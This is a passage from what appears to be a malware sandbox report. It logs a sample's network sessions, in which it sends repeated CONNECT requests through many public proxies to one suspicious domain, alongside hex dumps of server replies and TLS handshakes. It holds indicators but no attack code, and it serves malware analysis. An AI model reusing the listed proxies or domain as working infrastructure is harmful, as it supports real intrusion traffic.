8	192.168.2.4	49759	79.10.114.97	80	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:15.169914961 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:15.363871098 CET	310	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Fri, 23 Feb 2024 08:45:14 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 150 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.4	49810	8.213.128.90	443	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:15.182266951 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.4	49791	104.16.108.149	80	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:15.201142073 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:15.288501024 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 23 Feb 2024 08:45:15 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.4	49774	91.205.197.226	8080	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:15.230982065 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.4	49790	165.225.32.114	10417	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:15.234656096 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:15.358661890 CET	1286	IN	HTTP/1.1 403 Forbidden Content-Type: text/html Server: Zscaler/6.2 Cache-Control: no-cache Access-Control-Allow-Origin: * Content-length: 13631 Data Raw: 3c 21 2d 2d 23 20 49 64 3a 20 63 6c 6f 73 65 64 70 72 6f 78 79 2e 68 74 6d 6c 20 32 38 35 31 34 34 20 32 30 32 31 2d 30 36 2d 31 36 20 30 35 3a 30 32 3a 30 36 5a 20 73 7a 68 61 6e 67 20 2d 2d 3e 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 20 54 72 61 6e 73 69 74 69 6f 6e 61 6c 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 63 2e 6f 72 67 2f 54 52 2f 31 39 39 39 2f 52 45 43 2d 68 74 6d 6c 34 30 31 2d 31 39 39 39 31 32 32 34 2f 6c 6f 6f 73 65 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 5a 73 63 61 6c 65 72 20 6d 61 6b 65 73 20 74 68 65 20 69 6e 74 65 72 6e 65 74 20 73 61 66 65 20 66 6f 72 20 62 75 73 69 6e 65 73 73 65 73 20 62 79 20 70 72 6f 74 65 63 74 69 6e 67 20 74 68 65 69 72 20 65 6d 70 6c 6f 79 65 65 73 20 66 72 6f 6d 20 6d 61 6c 77 61 72 65 2c 20 76 69 72 75 73 65 73 2c 20 61 6e 64 20 6f 74 68 65 72 20 73 65 63 75 72 69 74 79 20 74 68 72 65 61 74 73 2e 22 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0a 3c 74 69 74 6c 65 3e 49 6e 74 65 72 6e 65 74 20 53 65 63 75 72 69 74 79 20 62 79 20 5a 73 63 61 6c 65 72 3c 2f 74 69 74 6c 65 3e 0a 3c 73 63 72 69 70 74 20 6c 61 6e 67 75 61 67 65 3d 22 4a 61 76 61 53 63 72 69 70 74 22 3e 76 61 72 20 64 65 66 4c 61 6e 67 20 3d 20 27 65 6e 5f 55 53 27 3c 2f 73 63 72 69 70 74 3e 0a 3c 21 2d 2d 3c 69 6d 67 20 61 6c 74 3d 22 5a 73 63 61 6c 65 72 22 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 6c 6f 67 69 6e 2e 7a 73 63 61 6c 65 72 74 68 72 65 65 2e 6e 65 74 2f 69 6d 67 5f 6c 6f 67 6f 5f 6e 65 77 31 2e 70 6e 67 22 3e 2d 2d 3e 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 62 6f 64 79 20 7b 0a 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 65 33 65 33 65 33 3b 0a 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 41 72 69 61 6c 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 66 6f 6e 74 2d 73 69 7a 65 3a 31 32 70 78 3b 0a 63 6f 6c 6f 72 3a 23 34 42 34 46 35 34 3b 0a 7d 0a 61 20 7b 0a 63 75 72 73 6f 72 3a 70 6f 69 6e 74 65 72 3b 0a 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 3b 0a 63 6f 6c 6f 72 3a 23 30 30 39 64 64 30 3b 0a 7d 0a 74 61 62 6c 65 20 7b 0a 6d 61 72 67 69 6e 2d 74 6f 70 3a 31 30 70 78 3b 0a 7d 0a 74 64 20 74 61 62 6c 65 20 7b 0a 6d 61 72 67 69 6e 2d 74 6f 70 3a 30 3b 0a 74 65 78 74 2d 61 6c 69 67 6e 3a 63 65 6e 74 65 72 3b 0a 7d 0a 69 6d 67 20 7b 0a 6d 61 78 2d 68 65 69 67 68 74 3a 37 35 70 78 3b 0a 6d 61 78 2d 77 69 64 74 68 3a 34 33 30 70 78 3b 0a 7d 0a 2e 70 67 20 7b 0a 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 0a 74 6f 70 3a 30 3b 0a 62 6f 74 74 6f 6d 3a 30 3b 0a 6c 65 66 74 3a 30 3b 0a 72 69 67 68 74 3a 30 3b 0a 6f 76 65 72 66 6c 6f 77 2d 78 3a 68 69 64 64 65 6e 3b 0a 77 68 69 74 65 2d 73 70 61 63 65 3a 6e 6f 77 72 61 70 3b 0a 7d 0a 2e 70 67 3a 62 65 66 6f 72 65 20 7b 0a 63 6f 6e 74 65 6e 74 3a 22 22 3b 0a 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 2d 62 6c 6f 63 6b 3b 0a Data Ascii: ...# Id: closedproxy.html 285144 2021-06-16 05:02:06Z szhang --><!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3c.org/TR/1999/REC-html401-19991224/loose.dtd"><html><head><meta name="description" content="Zscaler makes the internet safe for businesses by protecting their employees from malware, viruses, and other security threats."><meta http-equiv="Content-Type" content="text/html; charset=utf-8"><meta name="viewport" content="width=device-width, initial-scale=1"><title>Internet Security by Zscaler</title><script language="JavaScript">var defLang = 'en_US'</script>...<img alt="Zscaler" src="https://login.zscalerthree.net/img_logo_new1.png">--><style type="text/css">body {background-color:#e3e3e3;font-family:Arial, sans-serif;font-size:12px;color:#4B4F54;}a {cursor:pointer;text-decoration:none;color:#009dd0;}table {margin-top:10px;}td table {margin-top:0;text-align:center;}img {max-height:75px;max-width:430px;}.pg {position:absolute;top:0;bottom:0;left:0;right:0;overflow-x:hidden;white-space:nowrap;}.pg:before {content:"";display:inline-block;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.4	49783	96.114.36.9	80	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:15.251243114 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:15.418770075 CET	204	IN	HTTP/1.1 200 OK Date: Fri, 23 Feb 2024 08:45:15 GMT Proxy-Connection: close Via: http/1.1 buildhw-08.phx2.fedoraproject.org (ApacheTrafficServer/5.3.0 [uSc s f p eN:tMc i p s ]) Server: ATS/5.3.0
Feb 23, 2024 09:45:15.419794083 CET	202	OUT	Data Raw: 16 03 03 00 c5 01 00 00 c1 03 03 65 d8 5b 1b 5a 6b ca de 43 2f 03 a9 10 55 b3 76 2a 9a d6 3c 16 0d 4e 81 ca 6b e4 7b b4 12 2a 21 00 00 2a c0 2c c0 2b c0 30 c0 2f 00 9f 00 9e c0 24 c0 23 c0 28 c0 27 c0 0a c0 09 c0 14 c0 13 00 9d 00 9c 00 3d 00 3c Data Ascii: e[ZkC/Uv<Nk{!*,+0/$#('=<5/n-+(heygirlisheeverythingyouwantedinaman.com#
Feb 23, 2024 09:45:15.591964960 CET	536	IN	Data Raw: 16 03 03 00 43 02 00 00 3f 03 03 65 d8 5b 1b fc 20 f7 2e 8b cf 53 6e cf 40 8f 8d 03 26 4c 1b a2 aa c6 19 44 4f 57 4e 47 52 44 01 00 c0 2f 00 00 17 00 00 00 00 00 17 00 00 ff 01 00 01 00 00 0b 00 02 01 00 00 23 00 00 16 03 03 10 cb 0b 00 10 c7 00 Data Ascii: C?e[ .Sn@&LDOWNGRD/#00`4ZmQ0*H0F10UUS1"0 UGoogle Trust Services LLC10UGTS CA 1P50240212203110Z240512203109Z03110/
Feb 23, 2024 09:45:15.591980934 CET	536	IN	Data Raw: 19 a4 a8 41 83 af 8a 57 a5 1c 9b d3 40 df 70 a4 4f 36 6b d9 eb 42 48 01 2b 9b e1 b4 10 c8 e0 be 54 99 35 35 3d e1 fe fa 2c 2e f9 02 03 01 00 01 a3 82 02 bc 30 82 02 b8 30 0e 06 03 55 1d 0f 01 01 ff 04 04 03 02 05 a0 30 13 06 03 55 1d 25 04 0c 30 Data Ascii: AW@pO6kBH+T55=,.00U0U%0+0U00Up:xy(0U#0n+_+0x+l0j05+0)http://ocsp.pki.goog/s/gts1p5/uFgUyufpvHQ0
Feb 23, 2024 09:45:15.591996908 CET	536	IN	Data Raw: 68 42 0a 9f e6 67 4c 5a 3a 74 00 00 01 8d 9f 3b 2a d8 00 00 04 03 00 48 30 46 02 21 00 de 50 0b 84 a3 1b 02 2e 55 c0 38 37 8d 5a c4 57 63 34 9e 3e d6 2f c6 08 49 14 e3 02 9d 9e a4 02 02 21 00 b2 bc 14 60 a8 23 89 33 60 f2 4a be 67 47 48 1d b0 03 Data Ascii: hBgLZ:t;H0F!P.U87ZWc4>/I!`#3`JgGHw)BA;vk?"\kpqlQ4=0H;G0E!e+"\fqxfn7~V m+TU JA0%gV+Nswm0H@hd
Feb 23, 2024 09:45:15.592067957 CET	536	IN	Data Raw: 05 00 30 47 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 22 30 20 06 03 55 04 0a 13 19 47 6f 6f 67 6c 65 20 54 72 75 73 74 20 53 65 72 76 69 63 65 73 20 4c 4c 43 31 14 30 12 06 03 55 04 03 13 0b 47 54 53 20 52 6f 6f 74 20 52 31 30 1e 17 0d 32 30 30 Data Ascii: 0G10UUS1"0 UGoogle Trust Services LLC10UGTS Root R10200813000042Z270930000042Z0F10UUS1"0 UGoogle Trust Services LLC10UGTS CA 1P50"0*H0$-D[>eO
Feb 23, 2024 09:45:15.592083931 CET	536	IN	Data Raw: 01 ff 04 08 30 06 01 01 ff 02 01 00 30 1d 06 03 55 1d 0e 04 16 04 14 d5 fc 9e 0d df 1e ca dd 08 97 97 6e 2b c5 5f c5 2b f5 ec b8 30 1f 06 03 55 1d 23 04 18 30 16 80 14 e4 af 2b 26 71 1a 2b 48 27 85 2f 52 66 2c ef f0 89 13 71 3e 30 68 06 08 2b 06 Data Ascii: 00Un+_+0U#0+&q+H'/Rf,q>0h+\0Z0&+0http://ocsp.pki.goog/gtsr100+0$http://pki.goog/repo/certs/gtsr1.der04U-0+0)'%#http://crl.pki.goog/gtsr1/gtsr1.crl0MU
Feb 23, 2024 09:45:15.592101097 CET	536	IN	Data Raw: 80 0c 63 0b 69 74 6f 07 4c 15 f3 37 28 a5 19 a4 6e f5 f6 20 cd 63 b2 7e c4 2b 09 75 89 da d1 3c 2e 72 4f 36 1a a1 9e 44 d0 cd 9b a6 23 08 3f 97 a1 a7 9e 5a a5 f7 09 94 ad 5d 76 5d 28 56 d1 1a 66 51 51 07 7b de 3d b0 c8 ef 30 7a 24 2d be b8 b3 86 Data Ascii: citoL7(n c~+u<.rO6D#?Z]v](VfQQ{=0z$-KO?'>#ZB-z6=`9cxN!>\9+S/tgw7-[peZ%wjNuMjfynm"m,P5}pY*j%[
Feb 23, 2024 09:45:15.592116117 CET	536	IN	Data Raw: 06 03 55 04 03 13 0b 47 54 53 20 52 6f 6f 74 20 52 31 30 82 02 22 30 0d 06 09 2a 86 48 86 f7 0d 01 01 01 05 00 03 82 02 0f 00 30 82 02 0a 02 82 02 01 00 b6 11 02 8b 1e e3 a1 77 9b 3b dc bf 94 3e b7 95 a7 40 3c a1 fd 82 f9 7d 32 06 82 71 f6 f6 8c Data Ascii: UGTS Root R10"0*H0w;>@<}2qj.K+^R#'c~^hZGM3NlKd)%#=.`HMzY1.ml~&E=y(&<hS:+
Feb 23, 2024 09:45:15.592133045 CET	536	IN	Data Raw: b0 d6 71 fa f4 c1 ba cc ed 1b f5 fe 81 41 d8 00 98 3d 3a c8 ae 7a 98 37 18 05 95 02 03 01 00 01 a3 82 01 38 30 82 01 34 30 0e 06 03 55 1d 0f 01 01 ff 04 04 03 02 01 86 30 0f 06 03 55 1d 13 01 01 ff 04 05 30 03 01 01 ff 30 1d 06 03 55 1d 0e 04 16 Data Ascii: qA=:z78040U0U00U+&q+H'/Rf,q>0U#0`{fEP/}4K0`+T0R0%+0http://ocsp.pki.goog/gsr10)+0http://pki.goog/gsr1/gsr1.crt02U
Feb 23, 2024 09:45:15.592150927 CET	402	IN	Data Raw: e3 32 fa a7 6e 06 6a 6f bd 8b 91 ee 16 4b e8 3b a9 b3 37 e7 c3 44 a4 7e d8 6c d7 c7 46 f5 92 9b e7 d5 21 be 66 92 19 94 55 6c d4 29 b2 0d c1 66 5b e2 77 49 48 28 ed 9d d7 1a 33 72 53 b3 82 35 cf 62 8b c9 24 8b a5 b7 39 0c bb 7e 2a 41 bf 52 cf fc Data Ascii: 2njoK;7D~lF!fUl)f[wIH(3rS5b$9~*AR?,( r"eWZ!WYqf\KJNQc?)[a9-Bh^zg5\<F!Ma1aa]G<

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.4	49744	221.231.13.198	1080	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:15.252376080 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:15.594077110 CET	309	IN	HTTP/1.1 400 Bad Request Server: nginx/1.22.0 Date: Fri, 23 Feb 2024 08:45:15 GMT Content-Type: text/html Content-Length: 157 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 32 2e 30 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.22.0</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.4	49785	199.102.107.145	4145	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:15.263973951 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.4	49756	102.212.86.57	8080	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:15.273263931 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.4	49787	199.102.105.242	4145	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:15.273549080 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.4	49788	141.94.174.6	3601	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:15.273817062 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.4	49740	159.223.71.71	49922	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:15.312741041 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.4	49807	3.9.71.167	3128	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:15.321115971 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:17.841831923 CET	65	IN	HTTP/1.1 200 Connection Established Content-Type: text/plain

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.4	49825	104.16.221.57	80	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:15.341479063 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:15.428819895 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 23 Feb 2024 08:45:15 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.4	49879	43.153.175.43	443	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:15.348139048 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.4	49813	50.63.13.3	11673	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:15.349215031 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:15.756165028 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:16.193767071 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.4	49760	103.134.38.89	5678	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:15.355576038 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.4	49841	172.67.182.83	80	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:15.376439095 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:15.464406967 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 23 Feb 2024 08:45:15 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.4	49811	213.252.245.221	6120	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:15.384031057 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.4	49866	104.20.225.218	80	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:15.422228098 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:15.509898901 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 23 Feb 2024 08:45:15 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.4	49868	104.19.235.10	80	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:15.424047947 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
